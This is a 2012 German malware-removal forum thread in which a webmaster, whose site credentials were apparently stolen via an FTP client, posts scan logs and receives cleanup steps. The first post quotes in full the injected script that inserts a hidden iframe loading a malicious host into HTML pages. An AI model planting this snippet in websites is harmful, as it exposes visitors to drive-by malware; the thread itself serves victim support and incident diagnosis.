Zurück   Trojaner-Board > Malware entfernen > Plagegeister aller Art und deren Bekämpfung

Plagegeister aller Art und deren Bekämpfung: Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner

Windows 7 Wenn Du nicht sicher bist, ob Du dir Malware oder Trojaner eingefangen hast, erstelle hier ein Thema. Ein Experte wird sich mit weiteren Anweisungen melden und Dir helfen die Malware zu entfernen oder Unerwünschte Software zu deinstallieren bzw. zu löschen. Bitte schildere dein Problem so genau wie möglich. Sollte es ein Trojaner oder Viren Problem sein wird ein Experte Dir bei der Beseitigug der Infektion helfen.

Antwort
Alt 20.08.2012, 14:05   #1
scherli
 
Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner - Standard

Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner



So, ich poste jetzt nochmal aus dem alten Thema die Logs der beiden Rechner in jeweils eigenem Thread, damit niemand mit den Logs durcheinanderkommt.

Bevor ich hier zum Einstieg auch nochmal die Original-Problembeschreibung reinkopiere, möchte ich noch kurz die Vermutung äußern, dass da Ganze mit dem FTP-Client FlashFXP zu tun hat, von dem ich vor ein paar Jahren die Lizenz gekauft habe. Es scheinen nur Server betriffen zu sein, deren FTP-Daten dort gespeichert sind - nicht aber die, die ich in FireFTP im Firefox verwalte.

ORIGINAL-PROBLEMBESCHREIBUNG aus dem Thread http://www.trojaner-board.de/121065-...-trojaner.html

Code:
ATTFilter
Hallo zusammen,

ich sitze gerade ziemlich ratlos vor dem Rechner und erhoffe mir hier eine "Erleuchtung".

In einigen Webseiten - ausschließlich HTML-Dateien - auf die ich per FTP zugreife, hat sich der nachfolgende Code eingeschlichen, wegen dem zum einen Google Adwords die entsprechenden Kampagnen blockt und zum anderen Kunden Warnungen bekommen, dass die Seiten schädlich sind:

<body><!--c3284d--><script>var url="hxxp://online-alles.net";if((navigator.userAgent.toLowerCase().indexOf("msie")>=0)||(navigator.userAgent.toLowerCase().indexOf("firefox")>=0)){var f=document.createElement('iframe');f.setAttribute("width","1");f.setAttribute("height","1");f.setAttribute("src",url);f.setAttribute("style","visibili ty: hidden; position: absolute; left: 0pt; top: 0pt;");document.getElementsByTagName("body")[0].appendChild(f)}</script><!--/c3284d-->

Leider bin ich beim Googeln nicht weiter gekommen, denn die Verlinkung zu online-alles.net als Malware wird kaum thematisiert.

Auf Nachfrage beim Support des Providers HostEurope wurde ich darauf verwiesen, dass ich vermutlich einen Trojaner auf dem Rechner habe, der die FTP-Passwörter ausspioniert und es ermöglicht hat, dass der oben gepostete Code am 17.6.2012 in die HTML-Dateien eingefügt wurde. Als FTP-Client nutze ich hauptsächlich FlashFXP, zum anderen aber auch den Client von Firefox.

Ich habe mich hier am Board etwas umgeschaut und habe nun mit Malwarebytes sowohl den Laptop als auch den Bürorechner auf Trojaner gecheckt und wurde auch fündig. Nachfolgend poste ich die beiden Logfiles und hoffe, dass mir jemand sagen kann, was ich mir da eingefangen hatte und ob einer dieser Trojaner die Passwörter abgefangen haben könnte. Oder habe ich womöglch noch etwas auf dem Rechner, was Malwarebytes nicht gefunden hat?

Ich hatte zuvor schon, bevor ich auf dieses Forum gestoßen bin, mit TrojanHunter mein System gecheckt. Damit wurden angebliche Trojaner in alten Download-Dateien aus den Jahren 2007-2009 gefunden, die ich daraufhin gelöscht habe. Glaube aber nicht, dass sich die Auslöser drunter befunden haben.

Es wäre toll, wenn mir hier jemand hilfreich unter die Arme greifen könnte.
         

Schritt 1 - Malwarebytes Quick Scan:

Code:
ATTFilter
Malwarebytes Anti-Malware 1.62.0.1300
www.malwarebytes.org

Datenbank Version: v2012.08.02.07

Windows Vista Service Pack 2 x86 NTFS
Internet Explorer 8.0.6001.19272
Max Mustermann:: XXXX-OFFICE [Administrator]

02.08.2012 16:50:28
mbam-log-2012-08-02 (16-50-28).txt

Art des Suchlaufs: Quick-Scan
Aktivierte Suchlaufeinstellungen: Speicher | Autostart | Registrierung | Dateisystem | Heuristiks/Extra | HeuristiKs/Shuriken | PUP | PUM
Deaktivierte Suchlaufeinstellungen: P2P
Durchsuchte Objekte: 229011
Laufzeit: 9 Minute(n), 2 Sekunde(n)

Infizierte Speicherprozesse: 0
(Keine bösartigen Objekte gefunden)

Infizierte Speichermodule: 0
(Keine bösartigen Objekte gefunden)

Infizierte Registrierungsschlüssel: 1
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Free Registry Cleaner for Vista_is1 (Rogue.FreeRegistryCleanerForVista) -> Erfolgreich gelöscht und in Quarantäne gestellt.

Infizierte Registrierungswerte: 0
(Keine bösartigen Objekte gefunden)

Infizierte Dateiobjekte der Registrierung: 0
(Keine bösartigen Objekte gefunden)

Infizierte Verzeichnisse: 2
C:\Program Files\Free Registry Cleaner for Vista (Rogue.FreeRegistryCleanerForVista) -> Erfolgreich gelöscht und in Quarantäne gestellt.
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Free Registry Cleaner for Vista (Rogue.FreeRegistryCleanerForVista) -> Erfolgreich gelöscht und in Quarantäne gestellt.

Infizierte Dateien: 6
C:\Program Files\Free Registry Cleaner for Vista\backuphkcu.REG (Rogue.FreeRegistryCleanerForVista) -> Erfolgreich gelöscht und in Quarantäne gestellt.
C:\Program Files\Free Registry Cleaner for Vista\RegCleanerForVista.exe (Rogue.FreeRegistryCleanerForVista) -> Erfolgreich gelöscht und in Quarantäne gestellt.
C:\Program Files\Free Registry Cleaner for Vista\unins000.dat (Rogue.FreeRegistryCleanerForVista) -> Erfolgreich gelöscht und in Quarantäne gestellt.
C:\Program Files\Free Registry Cleaner for Vista\unins000.exe (Rogue.FreeRegistryCleanerForVista) -> Erfolgreich gelöscht und in Quarantäne gestellt.
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Free Registry Cleaner for Vista\Free Registry Cleaner for Vista.lnk (Rogue.FreeRegistryCleanerForVista) -> Erfolgreich gelöscht und in Quarantäne gestellt.
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Free Registry Cleaner for Vista\Uninstall Free Registry Cleaner for Vista.lnk (Rogue.FreeRegistryCleanerForVista) -> Erfolgreich gelöscht und in Quarantäne gestellt.

(Ende)
         

Schritt 2 - ESET Komplettscan:

Code:
ATTFilter
ESETSmartInstaller@High as CAB hook log:
OnlineScanner.ocx - registred OK
# version=7
# iexplore.exe=8.00.6001.18702 (longhorn_ie8_rtm(wmbla).090308-0339)
# OnlineScanner.ocx=1.0.0.6583
# api_version=3.0.2
# EOSSerial=4e095949c714694883166ebeaed138f6
# end=stopped
# remove_checked=false
# archives_checked=true
# unwanted_checked=true
# unsafe_checked=false
# antistealth_checked=true
# utc_time=2012-08-08 10:39:51
# local_time=2012-08-08 12:39:51 (+0100, Mitteleuropäische Sommerzeit)
# country="Germany"
# lang=1031
# osver=6.0.6002 NT Service Pack 2
# compatibility_mode=1280 16777215 100 0 0 0 0 0
# compatibility_mode=2304 16777215 100 0 0 0 0 0
# compatibility_mode=3584 16777215 100 0 0 0 0 0
# compatibility_mode=5892 16776573 100 100 59918 181943261 0 0
# compatibility_mode=8192 67108863 100 0 132 132 0 0
# scanned=333655
# found=3
# cleaned=0
# scan_time=11858
C:\downloads\Tools\Chopper XP\chopper.exe	möglicherweise unbekannter Virus NewHeur_PE Virus (Säubern nicht möglich)	00000000000000000000000000000000	I
C:\downloads\Tools\Chopper XP\chopper.zip	möglicherweise unbekannter Virus NewHeur_PE Virus (Säubern nicht möglich)	00000000000000000000000000000000	I
C:\downloads\Tools\FLV Converter\Setup59_FreeFlvConverter.exe	Mehrere Bedrohungen (Säubern nicht möglich)	00000000000000000000000000000000	I
# version=7
# iexplore.exe=8.00.6001.18702 (longhorn_ie8_rtm(wmbla).090308-0339)
# OnlineScanner.ocx=1.0.0.6583
# api_version=3.0.2
# EOSSerial=4e095949c714694883166ebeaed138f6
# end=finished
# remove_checked=false
# archives_checked=true
# unwanted_checked=true
# unsafe_checked=false
# antistealth_checked=true
# utc_time=2012-08-09 02:31:59
# local_time=2012-08-09 04:31:59 (+0100, Mitteleuropäische Sommerzeit)
# country="Germany"
# lang=1031
# osver=6.0.6002 NT Service Pack 2
# compatibility_mode=1280 16777215 100 0 0 0 0 0
# compatibility_mode=2304 16777215 100 0 0 0 0 0
# compatibility_mode=3584 16777215 100 0 0 0 0 0
# compatibility_mode=5892 16776573 100 100 94554 181977897 0 0
# compatibility_mode=8192 67108863 100 0 34768 34768 0 0
# scanned=1893521
# found=3
# cleaned=0
# scan_time=34350
C:\downloads\Tools\Chopper XP\chopper.exe	probably unknown NewHeur_PE virus (unable to clean)	00000000000000000000000000000000	I
C:\downloads\Tools\Chopper XP\chopper.zip	probably unknown NewHeur_PE virus (unable to clean)	00000000000000000000000000000000	I
C:\downloads\Tools\FLV Converter\Setup59_FreeFlvConverter.exe	multiple threats (unable to clean)	00000000000000000000000000000000	I
         

Schritt 3 - Malwarebytes Komplettscan:

Code:
ATTFilter
Malwarebytes Anti-Malware 1.62.0.1300
www.malwarebytes.org

Datenbank Version: v2012.08.09.10

Windows Vista Service Pack 2 x86 NTFS
Internet Explorer 8.0.6001.19272
Max Mustermann :: MAX-OFFICE [Administrator]

09.08.2012 21:28:06
mbam-log-2012-08-09 (21-28-06).txt

Art des Suchlaufs: Vollständiger Suchlauf (C:\|D:\|G:\|P:\|Q:\|)
Aktivierte Suchlaufeinstellungen: Speicher | Autostart | Registrierung | Dateisystem | Heuristiks/Extra | HeuristiKs/Shuriken | PUP | PUM
Deaktivierte Suchlaufeinstellungen: P2P
Durchsuchte Objekte: 2104471
Laufzeit: 6 Stunde(n), 13 Minute(n), 40 Sekunde(n)

Infizierte Speicherprozesse: 0
(Keine bösartigen Objekte gefunden)

Infizierte Speichermodule: 0
(Keine bösartigen Objekte gefunden)

Infizierte Registrierungsschlüssel: 0
(Keine bösartigen Objekte gefunden)

Infizierte Registrierungswerte: 0
(Keine bösartigen Objekte gefunden)

Infizierte Dateiobjekte der Registrierung: 0
(Keine bösartigen Objekte gefunden)

Infizierte Verzeichnisse: 0
(Keine bösartigen Objekte gefunden)

Infizierte Dateien: 1
C:\downloads\Tools\PantsOff\pantsoff.exe (PUP.Pantsoff.PasswordFinder) -> Erfolgreich gelöscht und in Quarantäne gestellt.

(Ende)
         

Heute morgen wurde mit eine Hardcopy einer Microsoft Security Essentials Warnmeldung weitergeleitet, die bei einer der immer noch Malware-versuchten Seiten angeschlagen hat. Dort wurde ein Trojan:JS/Iframe.BT erkannt. Vielleicht bringt uns das weiter?

Danke in jedem Fall schon mal für die Unterstützung!

Alt 20.08.2012, 21:45   #2
t'john
/// Helfer-Team
 
Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner - Standard

Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner






1. Schritt
Bitte einen Vollscan mit Malwarebytes Anti-Malware machen und Log posten.
Denk daran, dass Malwarebytes vor jedem Scan manuell aktualisiert werden muss!

Malwarebytes Anti-Malware
- Anwendbar auf Windows 2000, XP, Vista und 7.
- Installiere das Programm in den vorgegebenen Pfad.
- Aktualisiere die Datenbank!
- Aktiviere "Komplett Scan durchführen" => Scan.
- Wähle alle verfügbaren Laufwerke (ausser CD/DVD) aus und starte den Scan.
- Funde bitte löschen lassen oder in Quarantäne.
- Wenn der Scan beendet ist, klicke auf "Zeige Resultate".
danach:

2. Schritt

Downloade Dir bitte AdwCleaner auf deinen Desktop.

  • Starte die adwcleaner.exe mit einem Doppelklick.
  • Klicke auf Search.
  • Nach Ende des Suchlaufs öffnet sich eine Textdatei.
  • Poste mir den Inhalt mit deiner nächsten Antwort.
  • Die Logdatei findest du auch unter C:\AdwCleaner[R1].txt.
__________________

__________________

Alt 24.08.2012, 07:27   #3
scherli
 
Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner - Standard

Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner



So, also das Problem wurde definitiv von diesem Rechner aus verursacht. nach der genaueren Betrachtung der gespeicherten FTP-Zugänge und der betroffenen Seiten lässt es nur den Schluss zu, dass auf diesem Rechner die hier installierte und lizensierte Version 3.6 vom FlashFXP ausgesaugt wurde, während die FTP-Daten aus dem Fire-FTP vom Firefoy unangetastet blieben.

Hier das Ergebnis des erneuten vollständige Malwarebytes-Scans:

Code:
ATTFilter
Malwarebytes Anti-Malware 1.62.0.1300
www.malwarebytes.org

Datenbank Version: v2012.08.23.07

Windows Vista Service Pack 2 x86 NTFS
Internet Explorer 8.0.6001.19298
Max Mustermann :: MAX-OFFICE [Administrator]

23.08.2012 18:23:05
mbam-log-2012-08-23 (18-23-05).txt

Art des Suchlaufs: Vollständiger Suchlauf (C:\|D:\|G:\|P:\|Q:\|)
Aktivierte Suchlaufeinstellungen: Speicher | Autostart | Registrierung | Dateisystem | Heuristiks/Extra | HeuristiKs/Shuriken | PUP | PUM
Deaktivierte Suchlaufeinstellungen: P2P
Durchsuchte Objekte: 2188985
Laufzeit: 9 Stunde(n), 31 Minute(n), 35 Sekunde(n)

Infizierte Speicherprozesse: 0
(Keine bösartigen Objekte gefunden)

Infizierte Speichermodule: 0
(Keine bösartigen Objekte gefunden)

Infizierte Registrierungsschlüssel: 0
(Keine bösartigen Objekte gefunden)

Infizierte Registrierungswerte: 0
(Keine bösartigen Objekte gefunden)

Infizierte Dateiobjekte der Registrierung: 0
(Keine bösartigen Objekte gefunden)

Infizierte Verzeichnisse: 0
(Keine bösartigen Objekte gefunden)

Infizierte Dateien: 0
(Keine bösartigen Objekte gefunden)

(Ende)
         
...und das Ergebnis vom AdwCleaner:

Code:
ATTFilter
# AdwCleaner v1.801 - Logfile created 08/24/2012 at 08:19:33
# Updated 14/08/2012 by Xplode
# Operating system : Windows Vista (TM) Home Premium Service Pack 2 (32 bits)
# User : Max Mustermann - MAX-OFFICE
# Boot Mode : Normal
# Running from : C:\Users\Max Mustermann\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D486BMIV\2-adwcleaner[1].exe
# Option [Search]


***** [Services] *****


***** [Files / Folders] *****

Folder Found : C:\Users\Max Mustermann\AppData\LocalLow\Search Settings
Folder Found : C:\Program Files\Search Settings

***** [Registry] *****

Key Found : HKCU\Software\Conduit
Key Found : HKCU\Software\Microsoft\Internet Explorer\LowRegistry\Search Settings
Key Found : HKCU\Software\Microsoft\Windows\CurrentVersion\App Management\ARPCache\{CD95D125-2992-4858-B3EF-5F6FB52FBAD6}
Key Found : HKCU\Software\Microsoft\Windows\CurrentVersion\App Management\ARPCache\{D0C73318-7B4A-4D16-A0C4-3B83F075EA88}
Key Found : HKLM\SOFTWARE\Classes\Installer\Features\81337C0DA4B761D40A4CB3380F57AE88
Key Found : HKLM\SOFTWARE\Classes\Installer\Products\81337C0DA4B761D40A4CB3380F57AE88
Key Found : HKLM\SOFTWARE\Classes\SearchSettings.BHO
Key Found : HKLM\SOFTWARE\Classes\SearchSettings.BHO.1
Key Found : HKLM\SOFTWARE\Dealio
Key Found : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Userdata\S-1-5-18\Products\81337C0DA4B761D40A4CB3380F57AE88
Key Found : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D0C73318-7B4A-4D16-A0C4-3B83F075EA88}
Key Found : HKLM\SOFTWARE\Search Settings

***** [Registre - GUID] *****

Key Found : HKLM\SOFTWARE\Classes\CLSID\{20E1481B-E285-4ABC-ADC7-AE24842B81CD}
Key Found : HKLM\SOFTWARE\Classes\CLSID\{E312764E-7706-43F1-8DAB-FCDD2B1E416D}
Key Found : HKLM\SOFTWARE\Classes\Interface\{03C390E8-B836-4B82-8D56-1BFDDC06AE8A}
Key Found : HKLM\SOFTWARE\Classes\Interface\{2C4470A2-E099-4B9E-ABFE-BBA56D046AFD}
Key Found : HKLM\SOFTWARE\Classes\Interface\{391769AE-D8EC-45EC-967D-F5120456E514}
Key Found : HKLM\SOFTWARE\Classes\Interface\{39AEF150-C270-4690-AE7D-955E51BC8960}
Key Found : HKLM\SOFTWARE\Classes\Interface\{3EDDA953-1C3B-4823-8F25-D075FBB2D2B5}
Key Found : HKLM\SOFTWARE\Classes\Interface\{B67A4CBA-520A-43DB-B03F-414E539F90EC}
Key Found : HKLM\SOFTWARE\Classes\Interface\{CD73B1AB-3403-4E47-B196-517C57BE76A2}
Key Found : HKLM\SOFTWARE\Classes\Interface\{D5A1EF9A-7948-435D-8B87-D6A598317288}
Key Found : HKLM\SOFTWARE\Classes\TypeLib\{CD082CCA-086F-4FD8-8FD7-247A0DBBD1CC}
Key Found : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{E312764E-7706-43F1-8DAB-FCDD2B1E416D}
Key Found : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{6A87B991-A31F-4130-AE72-6D0C294BF082}
Key Found : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{D4027C7F-154A-4066-A1AD-4243D8127440}
Key Found : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{E312764E-7706-43F1-8DAB-FCDD2B1E416D}
Key Found : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{E67C74F4-A00A-4F2C-9FEC-FD9DC004A67F}
Key Found : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{6A87B991-A31F-4130-AE72-6D0C294BF082}
Key Found : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{D4027C7F-154A-4066-A1AD-4243D8127440}
Key Found : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{E312764E-7706-43F1-8DAB-FCDD2B1E416D}
Key Found : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{E67C74F4-A00A-4F2C-9FEC-FD9DC004A67F}
Key Found : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{E908B145-C847-4E85-B315-07E2E70DECF8}
Value Found : HKCU\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{D4027C7F-154A-4066-A1AD-4243D8127440}]
Value Found : HKCU\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{E67C74F4-A00A-4F2C-9FEC-FD9DC004A67F}]
Value Found : HKCU\Software\Microsoft\Internet Explorer\URLSearchHooks [{E312764E-7706-43F1-8DAB-FCDD2B1E416D}]

***** [Internet Browsers] *****

-\\ Internet Explorer v8.0.6001.19298

[OK] Registry is clean.

-\\ Mozilla Firefox v14.0.1 (de)

Profile name : default 
File : C:\Users\Max Mustermann\AppData\Roaming\Mozilla\Firefox\Profiles\g1fqh7rq.default\prefs.js

[OK] File is clean.

-\\ Google Chrome v21.0.1180.83

File : C:\Users\Max Mustermann\AppData\Local\Google\Chrome\User Data\Default\Preferences

[OK] File is clean.

*************************

AdwCleaner[R1].txt - [4471 octets] - [24/08/2012 08:19:33]

########## EOF - C:\AdwCleaner[R1].txt - [4599 octets] ##########
         
__________________

Alt 24.08.2012, 16:05   #4
t'john
/// Helfer-Team
 
Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner - Standard

Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner



Sehr gut!


  • Schließe alle offenen Programme und Browser.
  • Starte die adwcleaner.exe mit einem Doppelklick.
  • Klicke auf Delete.
  • Bestätige jeweils mit Ok.
  • Dein Rechner wird neu gestartet. Nach dem Neustart öffnet sich eine Textdatei.
  • Poste mir den Inhalt mit deiner nächsten Antwort.
  • Die Logdatei findest du auch unter C:\AdwCleaner[S1].txt.




danach:


Malware-Scan mit Emsisoft Anti-Malware

Lade die Gratisversion von => Emsisoft Anti-Malware herunter und installiere das Programm.
Lade über Jetzt Updaten die aktuellen Signaturen herunter.
Wähle den Freeware-Modus aus.

Wähle Detail Scan und starte über den Button Scan die Überprüfung des Computers.
Am Ende des Scans nichts loeschen lassen!. Mit Klick auf Bericht speichern das Logfile auf dem Desktop speichern und hier in den Thread posten.

Anleitung: http://www.trojaner-board.de/103809-...i-malware.html
__________________
Mfg, t'john
Das TB unterstützen

Alt 24.08.2012, 16:15   #5
scherli
 
Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner - Standard

Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner



Oh, ich habe gleich nach meinem Posting heute morgen den Emsi angeworfen, der seither ganz emsi(g) am Arbeiten ist - also ohne die Adw-Sachen vorher zu deleten. Inzwischen ist er bei 48% und hat bei 47 Objekten angeschlagen... Da er noch 3 externe Platten vor sich hat, schätze ich, dass er noch bis morgen früh arbeiten wird.


Alt 24.08.2012, 16:27   #6
t'john
/// Helfer-Team
 
Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner - Standard

Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner



Alles klar, kein Problem
__________________
--> Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner

Alt 25.08.2012, 17:59   #7
scherli
 
Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner - Standard

Malware-Code "online-alles.net" in HTML-Seiten - Trojaner? --- Teil 1: Bürorechner



Emsisoft hat jetzt einen ganzen Tag gearbeitet und hat zahlreiche Meldungen gebracht. Dabei wurden auch einige Altlasten aus früheren Jahren aufgedeckt, die ich über die Jahre im Download-Verzeichns von Rechner zu Rechner mitgeschleppt habe und bei denen der Checker jetzt hier angeschlagen hat. Da die aber seit Jahren da sind, kann ich mir nicht vorstellen, dass von dort aktuell eine Gefahr ausgeht...

Hier das Emsisoft-Ergebnis - das Trojan.Script!E2 aus den Firefox-Profiles konnte nicht in die Quarantäne verschoben werden:

Code:
ATTFilter
Emsisoft Anti-Malware - Version 6.6
Letztes Update: 24.08.2012 08:40:47

Scan Einstellungen:

Scan Methode: Detail Scan
Objekte: Rootkits, Speicher, Traces, C:\, D:\, G:\, P:\, Q:\
Archiv Scan: An
ADS Scan: An

Scan Beginn:	24.08.2012 08:41:56

c:\program files\password-finder 	gefunden: Trace.File.password-finder!E1
c:\users\Max Mustermann\appdata\roaming\allume systems 	gefunden: Trace.File.internet cleanup 5.0!E1
Value: hkey_classes_root\clsid\{1339b54c-3453-11d2-93b9-000000000000}\inprocserver32 --> threadingmodel 	gefunden: Trace.Registry.internet cleanup 5.0!E1
Value: hkey_local_machine\software\classes\clsid\{1339b54c-3453-11d2-93b9-000000000000}\inprocserver32 --> threadingmodel 	gefunden: Trace.Registry.internet cleanup 5.0!E1
Key: hkey_local_machine\software\microsoft\windows\currentversion\uninstall\password-finder_is1 	gefunden: Trace.Registry.password-finder!E1
C:\Users\Max Mustermann\AppData\Local\Mozilla\Firefox\Profiles\g1fqh7rq.default\Cache\E\FA\DF73Cd01 	gefunden: Trojan.Script!E2
C:\Users\Max Mustermann\AppData\Local\Mozilla\Firefox\Profiles\g1fqh7rq.default\Cache\F\5C\BF332d01 	gefunden: Trojan.Script!E2
C:\Users\Max Mustermann\AppData\Local\Mozilla\Firefox\Profiles\g1fqh7rq.default\Cache\A\06\AC822d01 	gefunden: Trojan.Script!E2
C:\Users\Max Mustermann\AppData\Local\Mozilla\Firefox\Profiles\g1fqh7rq.default\Cache\6\9E\5A3FAd01 	gefunden: Trojan.Script!E2
C:\Users\Max Mustermann\AppData\Local\Mozilla\Firefox\Profiles\g1fqh7rq.default\Cache\1\E1\F94CBd01 	gefunden: Trojan.Script!E2
C:\Users\Max Mustermann\AppData\Local\Mozilla\Firefox\Profiles\g1fqh7rq.default\Cache\0\64\9AE08d01 	gefunden: Trojan.Script!E2
C:\Users\Max Mustermann\AppData\Local\Microsoft\Windows Mail\Local Folders\Mailausgang alt\Mailausgang 333\6FBE2EB4-00001D39.eml -> xxxxxx_6_Keygens.zip -> ES_and_PT_plus_major_roads_of_WE_v.675.1409.exe -> test4.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Users\Max Mustermann\AppData\Local\Microsoft\Windows Mail\Local Folders\Mailausgang alt\Mailausgang 333\6FBE2EB4-00001D39.eml -> xxxxxx_6_Keygens.zip -> Hong_Kong_.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Users\Max Mustermann\AppData\Local\Microsoft\Windows Mail\Local Folders\Mailausgang alt\Mailausgang 333\6FBE2EB4-00001D39.eml -> xxxxxx_6_Keygens.zip -> ES_and_PT_plus_major_roads_of_WE_v.675.1409.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Users\Max Mustermann\AppData\Local\Microsoft\Windows Mail\Local Folders\Mailausgang alt\Mailausgang 333\6FBE2EB4-00001D39.eml -> xxxxxx_6_Keygens.zip -> Hong_Kong_.exe -> test4.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Users\Max Mustermann\AppData\Local\Microsoft\Windows Mail\Local Folders\Mailausgang alt\Mailausgang 333\6FBE2EB4-00001D39.eml -> xxxxxx_6_Keygens.zip -> PL_CZ_HU_SK_plus_major_roads_of_WE 1409.exe -> test4.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Users\Max Mustermann\AppData\Local\Microsoft\Windows Mail\Local Folders\Mailausgang alt\Mailausgang 333\6FBE2EB4-00001D39.eml -> xxxxxx_6_Keygens.zip -> PL_CZ_HU_SK_plus_major_roads_of_WE 1409.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Users\Max Mustermann\AppData\Local\Microsoft\Windows Mail\Local Folders\Mailausgang alt\Mailausgang 333\6FBE2EB4-00001D39.eml -> xxxxxx_6_Keygens.zip -> SE_DK_NO_and_FI_plus_major_roads_of_WE 1409.exe -> test4.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Users\Max Mustermann\AppData\Local\Microsoft\Windows Mail\Local Folders\Mailausgang alt\Mailausgang 333\6FBE2EB4-00001D39.eml -> xxxxxx_6_Keygens.zip -> SE_DK_NO_and_FI_plus_major_roads_of_WE 1409.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Users\Max Mustermann\AppData\Local\Microsoft\Windows Mail\Local Folders\Mailausgang alt\Mailausgang 333\6FBE2EB4-00001D39.eml -> xxxxxx_6_Keygens.zip 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Program Files\Password-Finder\PWFinder.exe 	gefunden: Riskware.Hacktool.PWFinder!E2
C:\Mail-Sicherungen\Postausgang 2007_20110810-1004\Nachrichten\20070726-xxxxxx-899605667.eml -> xxxxxx_6_Keygens.zip -> ES_and_PT_plus_major_roads_of_WE_v.675.1409.exe -> test4.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Mail-Sicherungen\Postausgang 2007_20110810-1004\Nachrichten\20070726-xxxxxx-899605667.eml -> xxxxxx_6_Keygens.zip -> Hong_Kong_.exe -> test4.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Mail-Sicherungen\Postausgang 2007_20110810-1004\Nachrichten\20070726-xxxxxx-899605667.eml -> xxxxxx_6_Keygens.zip -> ES_and_PT_plus_major_roads_of_WE_v.675.1409.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Mail-Sicherungen\Postausgang 2007_20110810-1004\Nachrichten\20070726-xxxxxx-899605667.eml -> xxxxxx_6_Keygens.zip -> SE_DK_NO_and_FI_plus_major_roads_of_WE 1409.exe -> test4.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Mail-Sicherungen\Postausgang 2007_20110810-1004\Nachrichten\20070726-xxxxxx-899605667.eml -> xxxxxx_6_Keygens.zip -> PL_CZ_HU_SK_plus_major_roads_of_WE 1409.exe -> test4.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Mail-Sicherungen\Postausgang 2007_20110810-1004\Nachrichten\20070726-xxxxxx-899605667.eml -> xxxxxx_6_Keygens.zip -> PL_CZ_HU_SK_plus_major_roads_of_WE 1409.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Mail-Sicherungen\Postausgang 2007_20110810-1004\Nachrichten\20070726-xxxxxx-899605667.eml -> xxxxxx_6_Keygens.zip -> Hong_Kong_.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Mail-Sicherungen\Postausgang 2007_20110810-1004\Nachrichten\20070726-xxxxxx-899605667.eml -> xxxxxx_6_Keygens.zip -> SE_DK_NO_and_FI_plus_major_roads_of_WE 1409.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Mail-Sicherungen\Postausgang 2007_20110810-1004\Nachrichten\20070726-xxxxxx-899605667.eml -> xxxxxx_6_Keygens.zip -> Singapore_.exe -> test4.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Mail-Sicherungen\Postausgang 2007_20110810-1004\Nachrichten\20070726-xxxxxx-899605667.eml -> xxxxxx_6_Keygens.zip -> Singapore_.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Mail-Sicherungen\Postausgang 2007_20110810-1004\Nachrichten\20070726-xxxxxx-899605667.eml -> xxxxxx_6_Keygens.zip -> South_Africa_.exe -> test4.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
C:\Mail-Sicherungen\Postausgang 2007_20110810-1004\Nachrichten\20070726-xxxxxx-899605667.eml -> xxxxxx_6_Keygens.zip -> South_Africa_.exe 	gefunden: not-a-virus.Keygen.xxxxxx!E2
